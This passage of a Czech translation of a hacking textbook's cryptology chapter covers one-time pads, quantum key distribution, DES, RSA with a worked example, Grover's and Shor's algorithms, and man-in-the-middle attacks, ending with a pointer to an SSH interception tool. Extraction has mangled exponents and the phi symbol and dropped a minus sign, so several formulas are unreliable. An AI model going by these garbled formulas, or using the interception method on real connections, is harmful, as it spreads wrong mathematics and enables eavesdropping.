KRYPTOLOGIE

Náplní kryptologie je studium kryptografie a kryptoanalýzy.

Kryptografie je proces bezpečné komunikace za použití šifer

a kryptoanalýza je proces prolamování nebo dešifrování

uvedených zabezpečených komunikací. Historicky byla

kryptologie středem zájmu během válek: ke komunikaci se

spřátelenými skupinami se používaly tajné kódy a k infiltraci

komunikace se lidé pokoušeli nepřítelovy kódy prolomit.

Aplikace z dob válek sice stále existují, ale použití kryptografie v civilním

životě se stává stále více populárním, tak jak stále více kritických

operací probíhá přes Internet. Odposlouchávání se na síti odehrává stále

častěji a paranoidní přesvědčení, že vám někdo "visí na lince" nemusí být

až tak paranoidním. Hesla, čísla kreditních karet a další osobní informace

se dají odposlechnout a zneužít díky nešifrovaným protokolům. Protokoly

pro šifrovanou komunikaci poskytují řešení tohoto bezpečnostního problému

a umožňují fungování internetové ekonomiky. Bez šifrování SSL ( Secure

Sockets Layer) by nebyly transakce s použitím čísel kreditních karet na

populárních internetových stránkách pohodlné a hlavně bezpečné.

196 0x400 Kryptologie

Všechna osobní data jsou chráněna kryptografickými algoritmy, které

se považují za bezpečné. Současné kryptosystémy, které se osvědčily jako

bezpečné, jsou příliš nemotorné pro praktické využití, takže se namísto

matematicky dokázané bezpečnosti dává přednost kryptosystémům, které

jsou prakticky bezpečné. To znamená, že je pravděpodobné, že existují

možnosti k prolomení těchto šifer, ale nikdo je ještě nezrealizoval. Samozřejmě

že existují i kryptosystémy, které celkově bezpečné nejsou. To může

být dáno implementací, velikostí klíče nebo prostou kryptoanalytickou

slabinou v samotné šifře. V roce 1997 byla podle zákonů Spojených Států

maximální dovolená velikost klíče exportovaného softwaru 40 bitů. Toto

omezení udělalo šifru nevyhovující pro reálné použití, jak dokázala RSA

Data Security a Ian Goldberg, absolvent z U.C. Berkeley. RSA vydala výzvu

na rozlousknutí zprávy zašifrované 40bitovým klíčem a Ian to za tři a půl

hodiny dokázal. Byl to jasný důkaz toho, že 40bitové klíče nejsou pro bezpečné

kryptosystémy dostatečně velké.

Kryptologie je v mnoha směrech podobná hackingu. V tom nejzákladnějším

ohledu je výzva k řešení problému velmi svůdná. Z jiného pohledu

jsou možná tajná data chráněna jakousi skládankou ještě svůdnější. Lámání

nebo obcházení kryptografických ochran tajných dat může poskytnout

jistý typ satisfakce a hlavně samotný obsah chráněných dat. Navíc je silná

kryptografie užitečná při omezování detekce. Expanzivní síťové IDS navržené

k odposlouchávání síťového provozu a detekci útoků jsou na nic, pokud

útočník používá šifrovaný kanál. Často je šifrovaný přístup k webu původně

určený pro bezpečnost zákazníků zneužit útočníky, protože je obtížné

takové útoky vystopovat.

0x410 Teorie informace

Mnoho návrhů kryptografických systémů vzešlo z hlavy Claudia Shannona.

Jeho nápady významně ovlivnily celou kryptografii, specielně návrhy

zmatení ( confusion) a rozptylu ( diffusion). Ačkoliv následující návrhy bezpodmínečné

bezpečnosti, one-time pad, distribuce kvantového klíče a výpočetní

bezpečnosti nebyly původně vymyšleny Shannonem, jeho nápady

ohledně dokonalé bezpečnosti a teorie informace měly velký vliv na definice

bezpečnosti.

0x411 Bezpodmínečná bezpečnost

Kryptografický systém se považuje za bezpodmínečně bezpečný, není-li

možné jej prolomit, ani s nekonečnými výpočetními zdroji. To znamená, že

je kryptoanalýza nemožná a pokud bychom útokem hrubou silou vyzkoušeli

všechny možné klíče, nikdy bychom nezjistili, který klíč byl ten pravý.

Hacking: umění exploitace 197

0x412 One- t ime pad

Příkladem bezpodmínečně bezpečného kryptosystému je tzv. one-time

pad. Jedná se o velmi jednoduchý kryptosystém, který používá bloky náhodných

dat ( výplně, pads). Výplň musí být alespoň tak velká jako šifrovaná

zpráva a náhodná data pro výplň musí být skutečně náhodná, myšleno

doslovně. Vytvoří se dvě identické výplně: jedna pro příjemce a druhá pro

odesilatele. K zakódování zprávy odesílatel jednoduše vyXORuje každý

bit zprávy s bity výplně. Po zakódování zprávy se výplň zničí (použije se

tedy jen jednou). Zakódovaná zpráva může být poslaná příjemci bez obav

z kryptoanalýzy, protože nemůže být prolomena bez výplně. Když příjemce

přijme zprávu, opět vyXORuje každý bit zprávy s každým bitem výplně

a získá tak původní nezakódovanou zprávu.

Zatímco je teoreticky nemožné kryptosystém one-time pad prolomit, je

současně prakticky nepoužitelný. Jeho bezpečnost stojí a padá na zabezpečení

výplně. Pokud se distribuuje od příjemce k odesílateli, předpokládá

se, že je přenosový kanál bezpečný. Aby byl ale skutečně bezpečný, musela

by výměna informací proběhnout osobně "z ruky do ruky", je ale výhodnější

tento přenos uskutečnit prostřednictvím další šifry. Celý systém je tak

silný, jako je silný jeho nejslabší článek, kterým je v našem případě šifra použitá

k zakódování výplně ­ taková je cena za pohodlnost. Protože se výplň

skládá z náhodných dat stejné velikosti jako je původní zpráva a bezpečnost

celého systému je tak dobrá, jako metoda použitá k přenosu výplně,

je smysluplnější odeslat zprávu zakódovanou právě touto šifrou.

0x413 Distribuce kvantového klíče

Příchod kvantové kryptografie nás obdaroval několika zajímavostmi. Jednou

z nich je praktická implementace systému one-time pad, která je

uskutečnitelná díky distribuci kvantového klíče. Jedná se o spolehlivou

a bezpečnou metodu distribuce náhodného řetězce bitů, který se dá použít

jako klíč. Ta se realizuje díky neortogonálním kvantovým stavům ve

fotonech.

Bez zabíhání do přílišných podrobností je polarizace fotonu směrem

oscilace jeho elektrického pole, který v tomto případě může být horizontální,

vertikální nebo jeden ze dvou diagonál. Neortogonální znamená, že

jsou stavy odděleny jiným úhlem než 90 stupňů. Důležité je, že je nemožné

s určitostí zjistit, jak je foton polarizovaný. Přímočará základna horizontální

a vertikální polarizace není kompatibilní s úhlopříčnou základnou dvou

diagonálních polarizací, takže se tyto dvě sady polarizací nedají měřit kvůli

Heisenbergově principu neurčitosti. K měření polarizací se používají filtry

­ jeden pro přímočarou a druhý pro úhlopříčnou základnu. Když foton

projde správným filtrem, polarizace se nezmění, ale pokud projde nesprávným

filtrem, bude jeho polarizace náhodně změněná. To znamená, že se

198 0x400 Kryptologie

pokusem o odposlouchávání měřením polarizace fotonu naruší integrita

dat a bude zřejmé, že není komunikační kanál bezpečný.

Tyto podivné aspekty kvantové mechaniky dali dohromady Charles

Bennett a Gilles Brassard v prvním a pravděpodobně nejlepším známém

schématu pro distribuci kvantového klíče, a to BB84. Prvně se odesílatel

a příjemce dohodnou na bitové reprezentaci pro čtyři polarizace, jako třeba

že každá základna má 1 i 0. Takže 1 může být reprezentována vertikálně

polarizovaným fotonem i diagonálně polarizovaným fotonem (+ 45 stupňů)

a 0 horizontálně polarizovaným fotonem a druhým diagonálně polarizovaným

fotonem (- 45 stupňů). Za tohoto předpokladu jedničky existují tehdy,

když se naměří přímočará polarizace, a nuly, když se naměří úhlopříčná

polarizace.

Odesílatel zašle proud náhodných fotonů, z nichž každý dojde s náhodně

zvolenou základnou (přímočarou i úhlopříčnou) a tyto fotony se uloží.

Když přijímající strana přijme foton, náhodně zvolí, zda-li bude měřit přímočarou

nebo úhlopříčnou základnu a uloží výsledek. Nyní dvě strany veřejně

porovnají použité základny a uschovají si pouze data korespondující

s fotony, které byly naměřeny stejnou základnou. Tím se neprozradí bitové

hodnoty fotonů, protože ze stejné základny pochází jak jedničky, tak nuly

a máme vytvořen klíč pro one-time pad.

Protože by odposlouchávání mohlo změnit polarizaci některého z fotonů

a poškodit tak data, dá se na odposlouchávání dojít vypočítáním míry

chybovosti nějaké náhodné části klíče. Pokud nastalo více chyb, někdo nás

pravděpodobně odposlouchával a klíč se v tom případě zahodí. Pokud ne,

byl přenos klíče bezpečný.

0x414 Výpočetní bezpečnost

Kryptosystém se považuje za výpočetně bezpečný v tom případě, že nejlepší

známý algoritmus na jeho prolomení vyžaduje nereálné množství

výpočetních zdrojů a času. To znamená, že je pro odposlouchávajícího teoreticky

možné prolomit šifru, ale prakticky je to neuskutečnitelné, protože

by potřebný čas a výpočtové zdroje zdaleka překročily hodnotu zakódovaných

informací. Obvykle se čas potřebný k prolomení výpočetně bezpečného

kryptosystému měří v desítkách tisíc let, dokonce se počítá i s větším

růstem výpočetních zdrojů. Většina moderních kryptosystémů spadá do

této kategorie.

Je důležité poznamenat, že se nejlepší známé algoritmy na prolamování

kryptosystémů stále vyvíjí a zlepšují. Ideálně, jak už bylo řečeno, se kryptosystém

považuje za bezpečný tehdy, když nejlepší známý algoritmus vyžaduje

nereálný počet výpočetních zdrojů a času, ale současně neexistuje

způsob jakým dokázat, že prolamovací algoritmus je a navždy zůstane nejHacking:

umění exploitace 199

lepším. Takže místo toho se současné nejlepší algoritmy používají k měření

bezpečnosti kryptosystémů.

0x420 Běh algoritmu

Běh algoritmu je trochu odlišný od běhu programu. Protože je algoritmus

pouhá myšlenka, neexistuje rychlostní omezení zpracovávání algoritmu.

Vyjádření běhu algoritmu v časových jednotkách je tedy bezvýznamné.

Když pomineme takové faktory, jakými jsou třeba rychlost procesoru

a jeho architektura, je důležitou neznámou vstupní velikost. Třídící algoritmus

při 1000 prvcích bude zřejmě trvat delší dobu než při 10 prvcích.

Vstupní velikost se obecně označuje jako n a každý atomický krok lze vyjádřit

jako číslo. Běh jednoduchého algoritmu, jako třeba toho následujícího,

můžeme vyjádřit prostřednictvím n.

Pro(i = 1 do N)

{

Udělej něco;

Udělej něco jiného;

}

Udělej poslední věc;

Tento algoritmus se opakuje nkrát, pokaždé vykoná dvě akce a nakonec

poslední akci, takže můžeme časovou složitost vyjádřit jako 2n + 1. Složitější

algoritmus s vnořenou smyčkou (jako třeba ten následující) by měl časovou

složitost n2 + 2n + 1, protože se nová akce vykoná n2krát.

Pro(x = 1 do N)

{

Pro(y = 1 do N)

{

Udělej něco nového;

}

}

For(i = 1 to N)

{

Udělej něco;

Udělej něco jiného;

}

Udělej poslední věc;

200 0x400 Kryptologie

Tato úroveň podrobností je pro vyjádření časové složitosti příliš hrubá. Například

zatímco n roste, relativní rozdíl mezi 2n + 5 a 2n + 1745 se stále zmenšuje,

avšak relativní rozdíl mezi 2n2 + 5 a 2n + 5 roste. Tento typ zobecnění

trendů je to nejdůležitější na běhu algoritmu.

Představme si dva algoritmy, první s časovou složitostí 2n + 1745 a druhý

2n2 + 5. Algoritmus 2n2 + 5 překoná algoritmus 2n + 1745 na malých hodnotách

n. Pokud je ale n = 30, oba algoritmy proběhnou za stejnou dobu

a pokud je n větší než 30, druhý překoná ten první. Protože existuje pouze

30 hodnot n, pro které se algoritmus 2n2 + 5 vykoná rychleji a nekonečné

množství hodnot n, pro které se rychleji vykoná algoritmus 2n + 1745, je tento

algoritmus obecně efektivnější.

To obecně znamená, že míra růstu časové složitosti pro algoritmus závislý

na vstupní velikosti je důležitější než časová složitost pro fixní vstup.

Zatímco to nemusí platit pro specifické aplikace reálného světa, je tento typ

měření efektivity algoritmu vhodný pro většinu existujících počítačových

aplikací.

0x421 Asymptotické vyjádření

Asymptotické vyjádření je způsob, jakým lze vyjádřit efektivitu algoritmu.

Nazývá se asymptotické, protože se týká chování algoritmu, když se vstupní

velikost blíží asymptotickému limitu nekonečna.

Když se vrátíme k příkladům algoritmů 2n + 1745 a 2n2 + 5, zjistili jsme,

že je první algoritmus obecně efektivnější, protože více sleduje vývoj čísla

n, zatímco druhý algoritmus sleduje n2. To znamená, že je první algoritmus

shora omezený kladným násobkem čísla n pro všechna dostatečně velká

n a druhý je shora omezený kladným násobkem čísla n2 pro všechna dostatečně

velká n.

To možná zní trochu zmateně, ale v podstatě to znamená, že existuje

kladná konstanta pro vývojovou proměnnou a spodní mez n, kde bude vývojová

proměnná znásobena konstantou vždy větší než časová složitost

pro všechna n větší než spodní mez. Jinými slovy, 2n2 + 5 se řídí podle n2

a 2n + 1745 se řídí podle n. Pro to existuje příslušný matematický zápis (tzv.

big-oh notation, značení dle velkého O), který vypadá takto: O(n2) pro popis

algoritmu, který se řídí podle n2.

Jednoduchým způsobem, jakým lze převést časovou složitost algoritmu

do tohoto zápisu, je podívat se na členy vyššího řádu, protože tyto členy

se budou nejvíce zvětšovat, tak jak se bude zvětšovat n. Takže algoritmus

s časovou složitostí 3n4 + 43n3 + 763n + log n + 37 bude O(n4) a 54n7 + 23n4

+ 4325 bude O(n7 ).

Hacking: umění exploitace 201

0x430 Symetrické šifrování

Symetrické šifry jsou kryptosystémy, které pro kódování a dekódování

zpráv používají stejný klíč. Proces kódování a dekódování je obecně rychlejší

než při použití asymetrického šifrování, ale distribuce klíče může být

obtížná.

Šifry jsou jak blokové, tak proudové. Bloková šifra pracuje s bloky o fixní

velikosti, obvykle 64 nebo 128 bitů. Blok zprávy se zakóduje na stejně velký

blok dat, použitím stejného klíče. DES, Blowfish a AES (Rijndael) jsou

všechno blokové šifry. Proudová šifra generuje proud pseudonáhodných

bitů, obvykle jeden bit nebo bajt za jednotku času. Tomu se říká proudový

klíč ( keystream) a vyXORuje se zprávou. Je to užitečné při kódování souvislého

proudu dat. RC4 a LSFR jsou příklady populárních proudových šifer.

RC4 hlouběji probereme v sekci "Bezdrátové 802.11b šifrování".

DES a AES jsou obě populární blokové šifry. Při konstrukci blokových

šifer se využilo mnoha myšlenek, které je učinily odolné proti známým

kryptoanalytickým útokům. V návrhu se opakovaně použilo dvou technik.

Zmatení ( confusion) je metoda ke skrytí vztahu mezi zprávou, zašifrovanou

zprávou a klíčem. To znamená, že výstupní bity musí projít jakousi komplexní

transformací klíče a zprávy. Rozptýlení ( diffusion) zahrnuje způsoby,

které rozptýlí vliv bitů zprávy a bitů klíče ve výsledné zašifrované zprávě

jak nejvíce je to možné. Šifrovací produkty kombinují tyto návrhy opakovaným

použitím rozličných triviálních operací. To se týká obou algoritmů

DES i AES.

DES také používá Feistelovu síť. Ta se využívá v mnoha blokových šifrách

a zajišťuje, že je algoritmus invertibilní. V podstatě jde o to, že se každý

blok rozdělí na dvě poloviny, levou (L) a pravou (R). Potom se v jednom

kole smyčky nastaví nová levá polovina (Li) na hodnotu staré pravé poloviny

(Ri-1) a nová pravá polovina (Ri) se vytvoří ze staré levé poloviny (Li-1)

XORované výstupem funkce, která jako vstup přijímá starou pravou polovinu

(Ri-1) a podklíč (Ki) platný pro toto kolo smyčky. Obvykle každé kolo

smyčky používá samostatný podklíč, který se před tím vypočítá.

Hodnoty pro Li a Ri jsou tyto (symbol . značí operaci XOR):

Li = Ri-1

Ri = Li-1 . f(Ri-1,Ki)

DES je 16kolový. Toto číslo bylo pečlivě vybráno tak, aby zabránilo různým

kryptoanalytickým útokům. Jedinou známou slabinou DESu je velikost

jeho klíče. Protože je pouhých 56 bitů velký, může být na speciálním

hardware prolomen hrubou silou během několika málo týdnů.

Triple-DES tento problém řeší spojením dvou klíčů DES o celkové velikosti

112 bitů. Samotné kódování se řeší zašifrováním zprávy prvním klíčem,

dešifrováním druhým a opětným zašifrováním prvním klíčem. Dešifrování

202 0x400 Kryptologie

probíhá obdobně, operace šifrování a dešifrování jsou ale prohozeny. Větší

velikost klíče dělá proces dešifrování hrubou silou exponenciálně obtížnější.

Většina blokových šifer průmyslových standardů je rezistentní proti

všem známým formám kryptoanalýzy a velikost klíče je většinou příliš velká

k tomu, aby se šifra dala prolomit hrubou silou. Kvantová kryptografie

nám nicméně přináší pár možností, které se zdají být revoluční.

0x431 Lov Groverův kvantový vyhledávácí

algoritmus

Kvantové výpočty nám přinášejí možnosti impozantního paralelního zpracování

dat. Kvantový počítač dovede uchovat mnoho různých stavů v superpozici

(kterou si můžeme představit jako pole stavů) a potom na nich

hromadně provést výpočty. To je ideální pro útoky hrubou silou, včetně

útoků na blokové šifry. Superpozice se nahraje všemi možnými klíči a operace

kódování se provede na všech klíčích zároveň. Zajímavou částí je získání

pravé hodnoty ze superpozice. Kvantové stroje jsou zvláštní v tom, že

jakmile se nahlédne do superpozice, celá hodnota dekoheruje do jediného

stavu. Bohužel je tato dekoherence náhodná a každá část stavu v superpozici

má stejnou šanci dekoherovat do tohoto stavu.

Bez možnosti manipulovat s těmito stavy superpozice se stejného efektu

dosáhne prostým hádáním klíčů. Náhodou jeden člověk jménem Lov Grover

přišel s algoritmem, kterým lze manipulovat s částmi stavů superpozice.

Tento algoritmus umožňuje částem jistého stavu zvětšit se, zatímco se

ostatní stavy části zmenší. Tento proces se opakuje několikrát, dokud části

superpozice nedekoherující do žádaného stavu. To zabere zhruba O(.n)

kroků.

S použitím základní matematiky zjistíme, že to zkrátí potřebnou dobu

k útoku hrubou silou o polovinu. Takže znásobení velikosti klíče pro blokovou

šifru zabrání jejímu prolomení i s teoretickým použitím kvantového

počítače pro realizaci útoku hrubou silou.

0x440 Asymetrické šifrování

Asymetrické šifry používají dva klíče, tedy pár klíčů: veřejný a privátní.

Veřejný klíč ( public key) je, jak už název vypovídá, veřejně známý, zatímco

privátní klíč ( private key) je udržen v tajnosti.

Libovolnou zprávu zakódovanou veřejným klíčem je možné dekódovat

pouze privátním klíčem. To odstraňuje problémy s distribucí klíče ­ veřejné

klíče jsou veřejné a použitím tohoto klíče je možné zprávu zakódovat

pro korespondující privátní klíč. Není nutné nějak pokoutně přenášet tajný

Hacking: umění exploitace 203

klíč jako u symetrických šifer. Asymetrické šifry jsou ovšem pomalejší než

symetrické.

0x441 RSA

RSA je jedním z nejpopulárnějších asymetrických algoritmů. Bezpečnost

RSA je založena na obtížnosti faktorizace velkých čísel. Prvně se vyberou

dvě prvočísla P a Q, vynásobí se spolu a vznikne číslo N.

N = P . Q

Potom se musí určit počet čísel mezi 1 a N ­ 1, která jsou relativními prvočísly

čísla N (dvě čísla jsou relativně prvočíselná, jestliže je jejich největší

společný dělitel 1). To je známé jako Eulerova funkce a obvykle se značí

malým řeckým písmenem . (fí).

Například .(9) = 6, protože 1, 2, 4, 5, 7 a 8 jsou relativní prvočísla k číslu

9. Mělo by být jednoduché zjistit, že pokud je N prvočíslo, .(N) bude N ­ 1.

Už ale méně zřejmým faktem je, že jestliže je N produktem dvou prvočísel

P a Q, bude .(P . Q) = (P ­ 1) . (Q ­ 1). To je užitečné, protože pro RSA musíme

vypočítat .(N).

Potom se musí náhodně vybrat kódovací klíč E, který je relativním prvočíslem

k .(N) a dekódovací klíč, který musí splňovat následující vztah (S je

libovolné celé číslo):

E . D = S . .(N) + 1

To se dá vyřešit s pomocí rozšířeného euklidovského algoritmu. Euklidovský

algoritmus je velmi starý a velmi rychlý způsob, kterým lze vypočítat

největší společný dělitel (NSD, Greatest Comon Divisor, GCD) dvou čísel.

Větší ze dvou čísel se vydělí tím menším, potom menší číslo se vydělí zbytkem

po předchozím dělení a celý proces se opakuje, dokud není zbytek

po dělení nula. Poslední nenulová hodnota zbytku po dělení je největším

společným dělitelem původních dvou čísel. Tento algoritmus je relativně

rychlý, matematicky O(log10N). To znamená, že vyžaduje zhruba tolik kroků,

kolik je číslic ve větším čísle.

V následující tabulce se spočítá NSD čísel 7253 a 120, tedy nds(7253,

120). Tabulka začíná vkládáním dvou čísel do sloupců A a B, větší číslo je

v A. Potom se A vydělí B a zbytek se vloží do sloupce R. Na dalším řádku

se staré B stane novým A a staré R se stane novým B. R se znovu přepočítá

a tento proces se opakuje, dokud není zbytek nula. Poslední hodnota R je

největší společný dělitel.

204 0x400 Kryptologie

nsd(7253, 120)

A B R

7253 120 53

120 53 14

53 14 11

14 11 3

11 3 2

3 2 1

2 1 0

Takže NSD čísel 7253 a 120 je 1. To znamená, že čísla 7253 a 120 jsou relativně

prvočíselná.

Rozšířený euklidovský algoritmus hledá dvě celá čísla J a K taková, aby

J . A + K . B = R

když nsd(A, B) = R.

To se provede zpětným převedením Euklidova algoritmu. V tomto případě

je důležitý kvocient. Zde máme rozpočítaný předchozí příklad společně

s kvocienty:

7253 = 60 . 120 + 53

120 = 2 . 53 + 14

53 = 3 . 14 + 11

14 = 1 . 11 + 3

11 = 3 . 3 + 2

3 = 1 . 2 + 1

Nyní posuneme všechny členy tak, aby byl zbytek po dělení před rovnítkem.

53 = 7253 ­ 60 . 120

14 = 120 ­ 2 . 53

11 = 53 ­ 3 . 14

3 = 14 ­ 1 . 11

2 = 11 ­ 3 . 3

1 = 3 ­ 1 . 2

Začneme spodním řádkem. Z toho je jasné, že

1 = 3 ­ 1 . 2

O řádek výše je 2 = 11 ­ 3 . 3, což nám dává možnost substituovat 2.

1 = 3 ­ 1 . (11 ­ 3 . 3)

1 = 4 . 3 ­ 1 . 11

Řádek před tím je 3 = 14 ­ 1 . 11, takže také můžeme substituovat 3.

1 = 4 . (14 ­ 1 . 11) ­ 1 . 11

1 = 4 . 14 ­ 5 . 11

Hacking: umění exploitace 205

Další předchozí řádek 11 = 53 ­ 3 . 14 si říká o další substituci.

1 = 4 . 14 ­ 5 . (53 ­ 3 . 14)

1 = 19 . 14 ­ 5 ­ 53

A pokračujeme dalším řádkem 14 = 120 ­ 2 . 53.

1 = 19 . (120 ­ 2 . 53) ­ 5 . 53

1 = 19 . 120 ­ 43 . 53

A konečně na horním řádku 53 = 7253 ­ 60 . 120 provedeme poslední

substituci,

1 = 19 . 120 ­ 43 . (7253 ­ 60 . 120)

1 = 2599 . 120 ­ 43 . 7253

2599 . 120 + (-43) . 7253 = 1

To znamená, že J by mělo být 2599 a K by mělo být ­43.

Čísla v prvním příkladě byla zvolena kvůli jejich důležitosti pro RSA.

Předpokládejme, že hodnoty pro P a Q jsou 11 a 13, a N by mělo být 143,

potom .(N) = 120 = (11-1) . (13-1). Protože je číslo 7253 relativně prvočíselné

k číslu 120, jedná se o vynikající číslo pro hodnotu E.

Pokud si vzpomínáte, cílem bylo najít hodnotu pro D, které splňuje tuto

rovnici:

E . D = S . .(N) + 1

Nyní se pokusíme tento vztah zjednodušit:

D . E + S . .(N) = 1

D . 7,253   S . 120 = 1

Když použijeme hodnoty pro rozšířený Euklidův algoritmus, je patrné, že

D = 43.

Na hodnotě S nezáleží, neboť se vypočítá jako modulo .(N) nebo

modulo 120. To znamená, že kladným ekvivalentem hodnoty D je 77, protože

120 ­ 43 = 77. Nyní dosadíme tyto hodnoty do původního vztahu.

E . D = S . .(N) + 1

7253 . 77 = 4654 . 120 + 1

Hodnoty N a E jsou distribuovány jako veřejný klíč, zatímco D je uchováno

v tajnosti jako privátní klíč, P a Q se zničí. Funkce kódování a dekódování

jsou celkem jednoduché.

Kódování:

C = ME (mod N)

Dekódování:

M = CD (mod N)

Jestliže je například zpráva M 98, kódování bude probíhat následovně:

987253 = 76 (mod 143)

Zakódovaná zpráva tedy bude 76. Potom pouze ten, kdo zná hodnotu D

může dekódovat zprávu a získat číslo 98 z čísla 76:

7677 = 98 (mod 143)

206 0x400 Kryptologie

Pokud je zpráva M větší než N, musí se rozdělit na menší články, které jsou

menší než N.

Tento postup je umožněn díky Eulerovu teorému, který v podstatě říká,

že jestliže jsou M a N relativně prvočíselné a M je menší číslo, potom když

M vynásobíme sama sebou .(N)-krát a vydělíme N, bude zbytek po dělení

1. Jestliže nsd(M, N) = 1 a M < N potom M.(N) = 1 (mod N). A platí i následující:

M.(N) . M.(N) = 1 . 1 (mod N)

M2×.(N) = 1 (mod N)

Tento postup se opakuje S-krát, dokud nevznikne toto:

MS..(N) = 1 (mod N)

Pokud jsou obě strany vynásobeny M, bude výsledkem

MS..(N) . M = 1 . M (mod N)

MS..(N) + 1 = M (mod N)

Tato rovnice je jádrem algoritmu RSA. Číslo M zvětšené modulem N nám

zpětně vyprodukuje původní číslo M. V podstatě se jedná o funkci, která

vrací vlastní vstup, který sám o sobě není zajímavý. Ale pokud by se tato

rovnice rozložila na dvě oddělené části, pak by jedna část mohla být použitá

k šifrování a druhá k dešifrování. To se dá vyřešit nalezením dvou čísel

E a D, které když se spolu vynásobí, vycházejí S . .(N) + 1. Potom je možné

tuto hodnotu substituovat do předchozí rovnice.

E . D = S . .(N) + 1

ME.D = M (mod N)

Což se dá rozložit na:

ME = C (mod N)

CD = M (mod N)

A o tom je RSA. Bezpečnost algoritmu je závislá na ponechání čísla D v tajnosti.

Ale protože jsou čísla N a E veřejné hodnoty, pokud se dá N faktorizovat

na původní P a Q a D může být zjištěno přes rozšířený Euklidův

algoritmus, potom pro zajištění výpočetní bezpečnosti musí být velikosti

klíčů RSA zvolena v závislosti na nejlepším známém faktorizačním algoritmu.

Tím je v dnešní době algoritmus NFS (Number Field Sieve), který je

hodně dobrý, ale stále ne tak dobrý, aby v rozumném čase prolomil RSA

klíč o velikosti 2048 bitů.

0x442 Kvantový faktorizační algoritmus Petera

Shora

Takže ještě jednou, kvantové počítače nám nabízejí ohromné zvýšení výpočetního

potenciálu. Peter Shor si byl vědom výhod drastického paralelismu

kvantových počítačů a přišel s novým způsobem, jak efektivně faktorizovat

čísla pomocí starého triku z teorie čísel.

Hacking: umění exploitace 207

Algoritmus je docela jednoduchý. Předpokládejme číslo N, které chceme

faktorizovat. Vybereme A, které je menší než N a které je relativně prvočíselné

k N. Ale pokud předpokládáme, že N je produktem dvou prvočísel

(což bude platné vždy, když budeme faktorizovat čísla k prolomení RSA)

a A není relativně prvočíselné k N, potom je A jedním z faktorů čísla N.

Potom se do superpozice nahraje sekvence čísel začínající od 1 a každá

z těchto hodnot projde funkcí f(x) = Ax (mod N). To se v kvantovém počítači

odehraje paralelně v jednom čase. Opakující se vzor se sám objeví

ve výsledcích a my musíme najít periodu opakování. To se dá naštěstí na

kvantovém počítači rychle provést Fourierovou transformací. Tuto periodu

budeme označovat jako R.

Pak jednoduše vypočítáme nsd(AR/2 + 1, N) a nsd(AR/2 ­ 1, N). Alespoň

jedna z hodnot by měla být faktorem čísla N. To je možné proto, že AR = 1

(mod N), to si dále rozepíšeme.

AR = 1 (mod N)

(AR/2)2 = 1 (mod N)

(AR/2)2 ­ 1 = 0 (mod N)

(AR/2 ­ 1) . (AR/2 + 1) = 0 (mod N)

To znamená, že (AR/2 ­ 1) . (AR/2 + 1) je celočíselný násobek čísla N. Dokud

se tyto hodnoty navzájem nevynulují, jedna z nich bude mít společný faktor

s N.

K prolomení předchozího příkladu k RSA je zapotřebí faktorizovat číslo

N. V tomto případě je N rovno 143. Potom se zvolí hodnota pro A tak,

aby byla menší a relativně prvočíselná k N, takže A bude 21. Funkce potom

bude vypadat jako f(x) = 21x (mod 143). Každá sekvenční hodnota od 1 do

maxima, které kvantový počítač zvládne, projde touto funkcí.

Abychom nezabíhali do zbytečných podrobností, budeme předpokládat,

že má kvantový počítač tři kvantové bity, takže superpozice bude moci

uchovávat 8 hodnot.

x=1 211 (mod 143) = 21

x=2 212 (mod 143) = 12

x=3 213 (mod 143) = 109

x=4 214 (mod 143) = 1

x=5 215 (mod 143) = 21

x=6 216 (mod 143) = 12

x=7 217 (mod 143) = 109

x=8 218 (mod 143) = 1

Zde můžeme periodu snadno vysledovat pouhým okem: R je 4.

S těmito informacemi by měla být alespoň jedna z hodnot nsd(212 ­ 1, 143)

a nsd(212 + 1, 143) faktorem. Oba faktory se ukáží až teď, protože nsd(440,

143) = 11 a nsd(442, 143) = 13. Tyto faktory se potom dají použít k přepočítání

privátního klíče pro předchozí příklad RSA.

208 0x400 Kryptologie

0x450 Hybridní šifry

Hybridní kryptosystém má v sobě to nejlepší z obou typů šifer. Asymetrická

šifra se používá k výměně náhodně vygenerovaného klíče, který se používá

k zašifrování zbývající komunikace symetrickou šifrou. To poskytuje

rychlost a efektivitu symetrické šifry a řeší dilema s výměnou tajného klíče.

Hybridní šifry se používají ve většině moderních kryptografických aplikací,

jako je třeba SSL, SSH a PGP.

Protože většina aplikací používá šifry, které jsou rezistentní vůči kryptoanalýze,

útok na tyto šifry obvykle nebývá úspěšný. Pokud ale útočník

může odposlouchávat komunikaci mezi oběmi stranami a vydávat se za

obě strany, může být algoritmus na výměnu klíčů prolomen.

0x451 Útoky typu muž-uprostřed

Útok typu muž-uprostřed ( man-in-the-middle, MiM) je chytrým způsobem,

jakým lze obejít šifrování. Útočník sedí mezi dvěmi komunikujícími stranami,

obě strany si sice myslí, že komunikují spolu, ale veškerá komunikace

jde přes počítač útočníka.

Když se vytvoří šifrované spojení mezi dvěmi stranami, vytvoří se tajný

klíč a odešle se prostřednictvím asymetrické šifry. Protože je klíč bezpečně

přenesen a následný síťový provoz je tímto klíčem zabezpečený, je celý

provoz pro případného útočníka odposlouchávajícího na síti nečitelný.

Nicméně při použití útoku MiM si strana A myslí, že komunikuje se stranou

B, a strana B věří, že komunikuje s A, ale ve skutečnosti obě strany

komunikují s útočníkem. Takže když A vyjedná šifrované spojení s B, tak

vlastně vyjedná spojení s útočníkem, což znamená, že útočník bezpečně

komunikuje pomocí asymetrické šifry a zná tajný klíč. Potom už útočník potřebuje

pouze vytvořit šifrované spojení se stranou B, která si bude myslet,

že komunikuje s A, jak ukazuje následující ilustrace.

Systém A

Systém B

Systém

útočníka

Šifrovaná komunikace

s klíčem 1

Systému A se jeví

jako Systém B

Systému B

se jeví jako

Systém A

Šifrovaná komunikace

s klíčem 2

Systém A i Systém B

věří, že komunikují

navzájem mezi sebou.

Hacking: umění exploitace 209

To znamená, že útočník ve skutečnosti spravuje dva oddělené šifrované komunikační

kanály s dvěma oddělenými klíči. Pakety od A se zašifrují prvním

klíčem, odešlou se útočníkovi, ten je dešifruje prvním klíčem, znovu

je zakóduje druhým klíčem a odešle k B. Sezením uprostřed komunikace

a spravováním dvou oddělených klíčů je útočník schopen odposlouchávat

a dokonce modifikovat komunikaci mezi A a B bez toho, aniž by se to obě

strany dozvěděly.

Toho se dá také docílit použitím skriptu Perlu pro přesměrování ARPu

z kapitoly 0x300 a modifikovaným balíčkem OpenSSH nazvaným ssharp.

Podle jeho licence se nesmí distribuovat, nicméně jej sami můžete nalézt

na adrese http://stealth.7350.org. Démon ssharpu, ssharpd, pouze přijímá

spojení a přesměrovává je na cílovou IP adresu (funguje tedy jako

proxy server). K přesměrování provozu ssh se použijí pravidla filtrování

